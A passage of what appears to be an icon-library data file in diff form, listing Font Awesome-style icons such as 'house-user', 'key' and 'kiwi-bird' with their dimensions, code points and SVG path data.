3.41-26.7 10.27L5.31 236.28c-6.57 5.91-7.12 16.02-1.21 22.6l21.4 23.82c5.9 6.57 16.02 7.12 22.6 1.21L277.42 81.63c6.05-5.33 15.12-5.33 21.17 0L527.91 283.9c6.57 5.9 16.69 5.36 22.6-1.21l21.4-23.82c5.9-6.57 5.36-16.69-1.22-22.59z"], + "house-user": [576, 512, [], "e065", "M570.69,236.27,512,184.44V48a16,16,0,0,0-16-16H432a16,16,0,0,0-16,16V99.67L314.78,10.3C308.5,4.61,296.53,0,288,0s-20.46,4.61-26.74,10.3l-256,226A18.27,18.27,0,0,0,0,248.2a18.64,18.64,0,0,0,4.09,10.71L25.5,282.7a21.14,21.14,0,0,0,12,5.3,21.67,21.67,0,0,0,10.69-4.11l15.9-14V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V269.88l15.91,14A21.94,21.94,0,0,0,538.63,288a20.89,20.89,0,0,0,11.87-5.31l21.41-23.81A21.64,21.64,0,0,0,576,248.19,21,21,0,0,0,570.69,236.27ZM288,176a64,64,0,1,1-64,64A64,64,0,0,1,288,176ZM400,448H176a16,16,0,0,1-16-16,96,96,0,0,1,96-96h64a96,96,0,0,1,96,96A16,16,0,0,1,400,448Z"], + "hryvnia": [384, 512, [], "f6f2", "M368 240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-41.86c13.41-28.63 13.74-63.33-4.13-94.05C303.34 49.84 267.1 32 229.96 32h-78.82c-24.32 0-47.86 8.53-66.54 24.09L72.83 65.9c-10.18 8.49-11.56 23.62-3.07 33.8l20.49 24.59c8.49 10.19 23.62 11.56 33.81 3.07l11.73-9.78c4.32-3.6 9.77-5.57 15.39-5.57h83.62c11.69 0 21.2 9.52 21.2 21.2 0 5.91-2.48 11.58-6.81 15.58L219.7 176H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h134.37l-34.67 32H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h41.86c-13.41 28.63-13.74 63.33 4.13 94.05C80.66 462.15 116.9 480 154.04 480h78.82c24.32 0 47.86-8.53 66.54-24.09l11.77-9.81c10.18-8.49 11.56-23.62 3.07-33.8l-20.49-24.59c-8.49-10.19-23.62-11.56-33.81-3.07l-11.75 9.8a23.992 23.992 0 0 1-15.36 5.56H149.2c-11.69 0-21.2-9.52-21.2-21.2 0-5.91 2.48-11.58 6.81-15.58L164.3 336H368c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H233.63l34.67-32H368z"], + "i-cursor": [256, 512, [], "f246", "M256 52.048V12.065C256 5.496 250.726.148 244.158.066 211.621-.344 166.469.011 128 37.959 90.266.736 46.979-.114 11.913.114 5.318.157 0 5.519 0 12.114v39.645c0 6.687 5.458 12.078 12.145 11.998C38.111 63.447 96 67.243 96 112.182V224H60c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h36v112c0 44.932-56.075 48.031-83.95 47.959C5.404 447.942 0 453.306 0 459.952v39.983c0 6.569 5.274 11.917 11.842 11.999 32.537.409 77.689.054 116.158-37.894 37.734 37.223 81.021 38.073 116.087 37.845 6.595-.043 11.913-5.405 11.913-12V460.24c0-6.687-5.458-12.078-12.145-11.998C217.889 448.553 160 444.939 160 400V288h36c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-36V112.182c0-44.932 56.075-48.213 83.95-48.142 6.646.018 12.05-5.346 12.05-11.992z"], + "ice-cream": [448, 512, [], "f810", "M368 160h-.94a144 144 0 1 0-286.12 0H80a48 48 0 0 0 0 96h288a48 48 0 0 0 0-96zM195.38 493.69a31.52 31.52 0 0 0 57.24 0L352 288H96z"], + "icicles": [512, 512, [], "f7ad", "M511.4 37.9C515.1 18.2 500 0 480 0H32C10.6 0-4.8 20.7 1.4 41.2l87.1 273.4c2.5 7.2 12.7 7.2 15.1 0L140 190.5l44.2 187.3c1.9 8.3 13.7 8.3 15.6 0l46.5-196.9 34.1 133.4c2.3 7.6 13 7.6 15.3 0l45.8-172.5 66.7 363.8c1.7 8.6 14 8.6 15.7 0l87.5-467.7z"], + "icons": [512, 512, [], "f86d", "M116.65 219.35a15.68 15.68 0 0 0 22.65 0l96.75-99.83c28.15-29 26.5-77.1-4.91-103.88C203.75-7.7 163-3.5 137.86 22.44L128 32.58l-9.85-10.14C93.05-3.5 52.25-7.7 24.86 15.64c-31.41 26.78-33 74.85-5 103.88zm143.92 100.49h-48l-7.08-14.24a27.39 27.39 0 0 0-25.66-17.78h-71.71a27.39 27.39 0 0 0-25.66 17.78l-7 14.24h-48A27.45 27.45 0 0 0 0 347.3v137.25A27.44 27.44 0 0 0 27.43 512h233.14A27.45 27.45 0 0 0 288 484.55V347.3a27.45 27.45 0 0 0-27.43-27.46zM144 468a52 52 0 1 1 52-52 52 52 0 0 1-52 52zm355.4-115.9h-60.58l22.36-50.75c2.1-6.65-3.93-13.21-12.18-13.21h-75.59c-6.3 0-11.66 3.9-12.5 9.1l-16.8 106.93c-1 6.3 4.88 11.89 12.5 11.89h62.31l-24.2 83c-1.89 6.65 4.2 12.9 12.23 12.9a13.26 13.26 0 0 0 10.92-5.25l92.4-138.91c4.88-6.91-1.16-15.7-10.87-15.7zM478.08.33L329.51 23.17C314.87 25.42 304 38.92 304 54.83V161.6a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V99.66l112-17.22v47.18a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V32c0-19.48-16-34.42-33.92-31.67z"], + "id-badge": [384, 512, [], "f2c1", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM144 32h96c8.8 0 16 7.2 16 16s-7.2 16-16 16h-96c-8.8 0-16-7.2-16-16s7.2-16 16-16zm48 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 416 80 407.4 80 396.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"], + "id-card": [576, 512, [], "f2c2", "M528 32H48C21.5 32 0 53.5 0 80v16h576V80c0-26.5-21.5-48-48-48zM0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V128H0v304zm352-232c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zM176 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zM67.1 396.2C75.5 370.5 99.6 352 128 352h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.9-5.2 19.8-15.6 19.8H82.7c-10.4 0-18.8-10-15.6-19.8z"], + "id-card-alt": [576, 512, [], "f47f", "M528 64H384v96H192V64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM288 224c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm93.3 224H194.7c-10.4 0-18.8-10-15.6-19.8 8.3-25.6 32.4-44.2 60.9-44.2h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.8-5.2 19.8-15.6 19.8zM352 32c0-17.7-14.3-32-32-32h-64c-17.7 0-32 14.3-32 32v96h128V32z"], + "igloo": [576, 512, [], "f7ae", "M320 33.9c-10.5-1.2-21.2-1.9-32-1.9-99.8 0-187.8 50.8-239.4 128H320V33.9zM96 192H30.3C11.1 230.6 0 274 0 320h96V192zM352 39.4V160h175.4C487.2 99.9 424.8 55.9 352 39.4zM480 320h96c0-46-11.1-89.4-30.3-128H480v128zm-64 64v96h128c17.7 0 32-14.3 32-32v-96H411.5c2.6 10.3 4.5 20.9 4.5 32zm32-192H128v128h49.8c22.2-38.1 63-64 110.2-64s88 25.9 110.2 64H448V192zM0 448c0 17.7 14.3 32 32 32h128v-96c0-11.1 1.9-21.7 4.5-32H0v96zm288-160c-53 0-96 43-96 96v96h192v-96c0-53-43-96-96-96z"], + "image": [512, 512, [], "f03e", "M464 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM112 120c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56zM64 384h384V272l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L208 320l-55.515-55.515c-4.686-4.686-12.284-4.686-16.971 0L64 336v48z"], + "images": [576, 512, [], "f302", "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v208c0 44.112 35.888 80 80 80h336zm96-80V80c0-26.51-21.49-48-48-48H144c-26.51 0-48 21.49-48 48v256c0 26.51 21.49 48 48 48h384c26.51 0 48-21.49 48-48zM256 128c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-96 144l55.515-55.515c4.686-4.686 12.284-4.686 16.971 0L272 256l135.515-135.515c4.686-4.686 12.284-4.686 16.971 0L512 208v112H160v-48z"], + "inbox": [576, 512, [], "f01c", "M567.938 243.908L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L8.062 243.908A47.994 47.994 0 0 0 0 270.533V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V270.533a47.994 47.994 0 0 0-8.062-26.625zM162.252 128h251.497l85.333 128H376l-32 64H232l-32-64H76.918l85.334-128z"], + "indent": [448, 512, [], "f03c", "M27.31 363.3l96-96a16 16 0 0 0 0-22.62l-96-96C17.27 138.66 0 145.78 0 160v192c0 14.31 17.33 21.3 27.31 11.3zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "industry": [512, 512, [], "f275", "M475.115 163.781L336 252.309v-68.28c0-18.916-20.931-30.399-36.885-20.248L160 252.309V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h464c13.255 0 24-10.745 24-24V184.029c0-18.917-20.931-30.399-36.885-20.248z"], + "infinity": [640, 512, [], "f534", "M471.1 96C405 96 353.3 137.3 320 174.6 286.7 137.3 235 96 168.9 96 75.8 96 0 167.8 0 256s75.8 160 168.9 160c66.1 0 117.8-41.3 151.1-78.6 33.3 37.3 85 78.6 151.1 78.6 93.1 0 168.9-71.8 168.9-160S564.2 96 471.1 96zM168.9 320c-40.2 0-72.9-28.7-72.9-64s32.7-64 72.9-64c38.2 0 73.4 36.1 94 64-20.4 27.6-55.9 64-94 64zm302.2 0c-38.2 0-73.4-36.1-94-64 20.4-27.6 55.9-64 94-64 40.2 0 72.9 28.7 72.9 64s-32.7 64-72.9 64z"], + "info": [192, 512, [], "f129", "M20 424.229h20V279.771H20c-11.046 0-20-8.954-20-20V212c0-11.046 8.954-20 20-20h112c11.046 0 20 8.954 20 20v212.229h20c11.046 0 20 8.954 20 20V492c0 11.046-8.954 20-20 20H20c-11.046 0-20-8.954-20-20v-47.771c0-11.046 8.954-20 20-20zM96 0C56.235 0 24 32.235 24 72s32.235 72 72 72 72-32.235 72-72S135.764 0 96 0z"], + "info-circle": [512, 512, [], "f05a", "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z"], + "italic": [320, 512, [], "f033", "M320 48v32a16 16 0 0 1-16 16h-62.76l-80 320H208a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h62.76l80-320H112a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h192a16 16 0 0 1 16 16z"], + "jedi": [576, 512, [], "f669", "M535.95308,352c-42.64069,94.17188-137.64086,160-247.9848,160q-6.39844,0-12.84377-.29688C171.15558,506.9375,81.26481,442.23438,40.01474,352H79.93668L21.3272,293.40625a264.82522,264.82522,0,0,1-5.10938-39.42187,273.6653,273.6653,0,0,1,.5-29.98438H63.93665L22.546,182.625A269.79782,269.79782,0,0,1,130.51489,20.54688a16.06393,16.06393,0,0,1,9.28127-3,16.36332,16.36332,0,0,1,13.5,7.25,16.02739,16.02739,0,0,1,1.625,15.09374,138.387,138.387,0,0,0-9.84376,51.26563c0,45.10937,21.04691,86.57813,57.71884,113.73437a16.29989,16.29989,0,0,1,1.20313,25.39063c-26.54692,23.98437-41.17194,56.5-41.17194,91.57813,0,60.03124,42.95319,110.28124,99.89079,121.92187l2.5-65.26563L238.062,397a8.33911,8.33911,0,0,1-10-.75,8.025,8.025,0,0,1-1.39063-9.9375l20.125-33.76562-42.06257-8.73438a7.9898,7.9898,0,0,1,0-15.65625l42.06257-8.71875-20.10941-33.73438a7.99122,7.99122,0,0,1,11.35939-10.71874L268.437,295.64062,279.95265,7.67188a7.97138,7.97138,0,0,1,8-7.67188h.04687a8.02064,8.02064,0,0,1,7.95314,7.70312L307.48394,295.625l30.39068-20.67188a8.08327,8.08327,0,0,1,10,.8125,7.99866,7.99866,0,0,1,1.39062,9.90626L329.12461,319.4375l42.07819,8.73438a7.99373,7.99373,0,0,1,0,15.65624l-42.07819,8.71876,20.1094,33.73437a7.97791,7.97791,0,0,1-1.32812,9.92187A8.25739,8.25739,0,0,1,337.87462,397L310.7027,378.53125l2.5,65.34375c48.48446-9.40625,87.57828-48.15625,97.31267-96.5A123.52652,123.52652,0,0,0,371.9528,230.29688a16.30634,16.30634,0,0,1,1.20313-25.42188c36.65631-27.17188,57.6876-68.60938,57.6876-113.73438a138.01689,138.01689,0,0,0-9.85939-51.3125,15.98132,15.98132,0,0,1,1.60937-15.09374,16.36914,16.36914,0,0,1,13.5-7.23438,16.02453,16.02453,0,0,1,9.25,2.98438A271.26947,271.26947,0,0,1,553.25,182.76562L511.99992,224h46.9532C559.3125,229.76562,560,235.45312,560,241.26562a270.092,270.092,0,0,1-5.125,51.85938L495.98427,352Z"], + "joint": [640, 512, [], "f595", "M444.34 181.1c22.38 15.68 35.66 41.16 35.66 68.59V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-43.24-21.01-83.41-56.34-108.06C463.85 125.02 448 99.34 448 70.31V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v66.4c0 43.69 24.56 81.63 60.34 106.7zM194.97 358.98C126.03 370.07 59.69 394.69 0 432c83.65 52.28 180.3 80 278.94 80h88.57L254.79 380.49c-14.74-17.2-37.45-25.11-59.82-21.51zM553.28 87.09c-5.67-3.8-9.28-9.96-9.28-16.78V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v62.31c0 22.02 10.17 43.41 28.64 55.39C550.79 153.04 576 199.54 576 249.69V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-65.44-32.41-126.19-86.72-162.6zM360.89 352.05c-34.4.06-86.81.15-88.21.17l117.8 137.43A63.987 63.987 0 0 0 439.07 512h88.45L409.57 374.4a63.955 63.955 0 0 0-48.68-22.35zM616 352H432l117.99 137.65A63.987 63.987 0 0 0 598.58 512H616c13.25 0 24-10.75 24-24V376c0-13.26-10.75-24-24-24z"], + "journal-whills": [448, 512, [], "f66a", "M438.40625,377.59375c-3.20313,12.8125-3.20313,57.60937,0,73.60937Q447.9922,460.78907,448,470.40625v16c0,16-12.79688,25.59375-25.59375,25.59375H96c-54.40625,0-96-41.59375-96-96V96C0,41.59375,41.59375,0,96,0H422.40625C438.40625,0,448,9.59375,448,25.59375v332.8125Q448,372.79688,438.40625,377.59375ZM380.79688,384H96c-16,0-32,12.79688-32,32s12.79688,32,32,32H380.79688ZM128.01562,176.01562c0,.51563.14063.98438.14063,1.5l37.10937,32.46876A7.99954,7.99954,0,0,1,160,224h-.01562a9.17678,9.17678,0,0,1-5.25-1.98438L131.14062,201.375C142.6875,250.95312,186.90625,288,240,288s97.3125-37.04688,108.875-86.625l-23.59375,20.64062a8.02516,8.02516,0,0,1-5.26563,1.96876H320a9.14641,9.14641,0,0,1-6.01562-2.71876A9.26508,9.26508,0,0,1,312,216a9.097,9.097,0,0,1,2.73438-6.01562l37.10937-32.46876c.01563-.53124.15625-1,.15625-1.51562,0-11.04688-2.09375-21.51562-5.06251-31.59375l-21.26562,21.25a8.00467,8.00467,0,0,1-11.32812-11.3125l26.42187-26.40625a111.81517,111.81517,0,0,0-46.35937-49.26562,63.02336,63.02336,0,0,1-14.0625,82.64062A55.83846,55.83846,0,0,1,251.625,254.73438l-1.42188-34.28126,12.67188,8.625a3.967,3.967,0,0,0,2.25.6875,3.98059,3.98059,0,0,0,3.43749-6.03124l-8.53124-14.3125,17.90625-3.71876a4.00647,4.00647,0,0,0,0-7.84374l-17.90625-3.71876,8.53124-14.3125a3.98059,3.98059,0,0,0-3.43749-6.03124,4.726,4.726,0,0,0-2.25.67187L248.6875,184.125,244,71.82812a4.00386,4.00386,0,0,0-8,0l-4.625,110.8125-12-8.15624a4.003,4.003,0,0,0-5.68751,5.35937l8.53126,14.3125L204.3125,197.875a3.99686,3.99686,0,0,0,0,7.82812l17.90625,3.73438-8.53126,14.29688a4.72469,4.72469,0,0,0-.56249,2.04687,4.59547,4.59547,0,0,0,1.25,2.90625,4.01059,4.01059,0,0,0,2.75,1.09375,4.09016,4.09016,0,0,0,2.25-.6875l10.35937-7.04687L228.375,254.76562a55.86414,55.86414,0,0,1-28.71875-93.45312,63.01119,63.01119,0,0,1-14.04688-82.65625,111.93158,111.93158,0,0,0-46.375,49.26563l26.42187,26.42187a7.99917,7.99917,0,0,1-11.3125,11.3125l-21.26563-21.26563C130.09375,154.48438,128,164.95312,128.01562,176.01562Z"], + "kaaba": [576, 512, [], "f66b", "M554.12 83.51L318.36 4.93a95.962 95.962 0 0 0-60.71 0L21.88 83.51A32.006 32.006 0 0 0 0 113.87v49.01l265.02-79.51c15.03-4.5 30.92-4.5 45.98 0l265 79.51v-49.01c0-13.77-8.81-26-21.88-30.36zm-279.9 30.52L0 196.3v228.38c0 15 10.42 27.98 25.06 31.24l242.12 53.8a95.937 95.937 0 0 0 41.65 0l242.12-53.8c14.64-3.25 25.06-16.24 25.06-31.24V196.29l-274.2-82.26c-9.04-2.72-18.59-2.72-27.59 0zM128 230.11c0 3.61-2.41 6.77-5.89 7.72l-80 21.82C37.02 261.03 32 257.2 32 251.93v-16.58c0-3.61 2.41-6.77 5.89-7.72l80-21.82c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm144-39.28c0 3.61-2.41 6.77-5.89 7.72l-96 26.18c-5.09 1.39-10.11-2.44-10.11-7.72v-16.58c0-3.61 2.41-6.77 5.89-7.72l96-26.18c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm176 22.7c0-5.28 5.02-9.11 10.11-7.72l80 21.82c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-80-21.82a7.997 7.997 0 0 1-5.89-7.72v-16.58zm-144-39.27c0-5.28 5.02-9.11 10.11-7.72l96 26.18c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-96-26.18a7.997 7.997 0 0 1-5.89-7.72v-16.58z"], + "key": [512, 512, [], "f084", "M512 176.001C512 273.203 433.202 352 336 352c-11.22 0-22.19-1.062-32.827-3.069l-24.012 27.014A23.999 23.999 0 0 1 261.223 384H224v40c0 13.255-10.745 24-24 24h-40v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-78.059c0-6.365 2.529-12.47 7.029-16.971l161.802-161.802C163.108 213.814 160 195.271 160 176 160 78.798 238.797.001 335.999 0 433.488-.001 512 78.511 512 176.001zM336 128c0 26.51 21.49 48 48 48s48-21.49 48-48-21.49-48-48-48-48 21.49-48 48z"], + "keyboard": [576, 512, [], "f11c", "M528 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM128 180v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z"], + "khanda": [512, 512, [], "f66d", "M415.81 66c-6.37-3.5-14.37-2.33-19.36 3.02a15.974 15.974 0 0 0-1.91 19.52c16.49 26.16 25.2 56.39 25.2 87.41-.19 53.25-26.77 102.69-71.27 132.41l-76.63 53.35v-20.1l44.05-36.09c3.92-4.2 5-10.09 2.81-15.28L310.85 273c33.84-19.26 56.94-55.25 56.94-96.99 0-40.79-22.02-76.13-54.59-95.71l5.22-11.44c2.34-5.53.93-11.83-3.57-16.04L255.86 0l-58.99 52.81c-4.5 4.21-5.9 10.51-3.57 16.04l5.22 11.44c-32.57 19.58-54.59 54.93-54.59 95.72 0 41.75 23.09 77.73 56.94 96.99l-7.85 17.24c-2.19 5.18-1.1 11.07 2.81 15.28l44.05 36.09v19.9l-76.59-53.33C119.02 278.62 92.44 229.19 92.26 176c0-31.08 8.71-61.31 25.2-87.47 3.87-6.16 2.4-13.77-2.59-19.08-5-5.34-13.68-6.2-20.02-2.7C16.32 109.6-22.3 205.3 13.36 295.99c7.07 17.99 17.89 34.38 30.46 49.06l55.97 65.36c4.87 5.69 13.04 7.24 19.65 3.72l79.35-42.23L228 392.23l-47.08 32.78c-1.67-.37-3.23-1.01-5.01-1.01-13.25 0-23.99 10.74-23.99 24 0 13.25 10.74 24 23.99 24 12.1 0 21.69-9.11 23.33-20.76l40.63-28.28v29.95c-9.39 5.57-15.99 15.38-15.99 27.1 0 17.67 14.32 32 31.98 32s31.98-14.33 31.98-32c0-11.71-6.61-21.52-15.99-27.1v-30.15l40.91 28.48C314.41 462.89 324 472 336.09 472c13.25 0 23.99-10.75 23.99-24 0-13.26-10.74-24-23.99-24-1.78 0-3.34.64-5.01 1.01L284 392.23l29.21-20.34 79.35 42.23c6.61 3.52 14.78 1.97 19.65-3.71l52.51-61.31c18.87-22.02 34-47.5 41.25-75.59 21.62-83.66-16.45-167.27-90.16-207.51zm-95.99 110c0 22.3-11.49 41.92-28.83 53.38l-5.65-12.41c-8.75-24.52-8.75-51.04 0-75.56l7.83-17.18c16.07 11.65 26.65 30.45 26.65 51.77zm-127.93 0c0-21.32 10.58-40.12 26.66-51.76l7.83 17.18c8.75 24.52 8.75 51.03 0 75.56l-5.65 12.41c-17.34-11.46-28.84-31.09-28.84-53.39z"], + "kiss": [496, 512, [], "f596", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm136 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm24-156c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "kiss-beam": [496, 512, [], "f597", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-39 219.9l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5zM304 396c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm65-168.1l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5z"], + "kiss-wink-heart": [504, 512, [], "f598", "M501.1 402.5c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zm-177.6-4c-5.6-20.3-2.3-42 9-59.7 29.7-46.3 98.7-45.5 127.8 4.3 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-.3-.7-23.9-84.6-23.9-84.6zM168 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm120 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-5.7-12.3 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.8-3.7-4.6-16.6 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C274.6 368.7 288 383 288 396zm16-179c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S400 181 404 206.2c1.7 11.1-11.3 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 217z"], + "kiwi-bird": [576, 512, [], "f535", "M575.81 217.98C572.64 157.41 518.28 112 457.63 112h-9.37c-52.82 0-104.25-16.25-147.74-46.24-41.99-28.96-96.04-41.62-153.21-28.7C129.3 41.12-.08 78.24 0 